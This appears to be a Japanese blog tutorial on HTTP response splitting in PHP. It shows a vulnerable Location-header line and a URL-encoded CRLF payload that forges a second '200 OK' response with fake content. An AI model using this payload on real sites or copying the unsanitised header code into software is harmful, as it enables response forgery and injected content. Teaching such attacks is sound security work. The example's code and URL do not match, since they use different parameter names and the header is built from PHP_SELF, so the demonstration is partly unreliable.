PHPではHTTPレスポンスのボディ部分のみを出力する。ヘッダ部分はWWWサーバが生成する。しかしPHPから明示的にHTTPヘッダ部分の出力を行うことができる。PHPが明示的に出力する代表的なHTTPレスポンスヘッダとしてLocationヘッダとSet-Cookieヘッダがある。
PHPはheader関数で明示的にHTTPレスポンスヘッダを出力できる。HTTPリクエスト内にCRLFCRLF(ヘッダ終了を意味する)を混ぜるとプログラムの意図しないHTTPレスポンスのヘッダ部を出力される。
http://exsample.com/に下記のコードを持つindex.php があるとする。
if ($_GET['key']) { header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']) }
下記のURLでアクセスする。
http://somehost/index.php?somekey=%0d%0a%0d%0aHTTP%2F1.1+200+OK%0D%0ADate%3a+(日付と時刻)%0a%0dContent-Type%3a+text%2fhtml%3bcharset%3dUTF-8%0d%0aContent-Length%3a+(バイト数%0d%0a%0d%0a(偽の内容)
CR→%0d、LF→%0a、半角スペース→%20 、:→%3a、;→%3b、/→%2f
wwwサーバからのリスポンス
HTTP/1.1 301 moved permanently ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・ Location: http://somehost/index.php?somekey= HTTP1.1 200 OK Date: (現在の日付と時刻) Content-Type: text/html; charset=UTF-8 Content-Length: (偽の内容のバイト数) (偽の内容) ← 偽のボディ部開始
http://exsample.com/somedir/somefile.php
$_SERVER[‘HTTP_HOST’] → exsample.com
$_SERVER[‘PHP_SELF’] → /somedir/somefile.php
No comments yet.
改行と段落タグは自動で挿入されます。
メールアドレスは表示されません。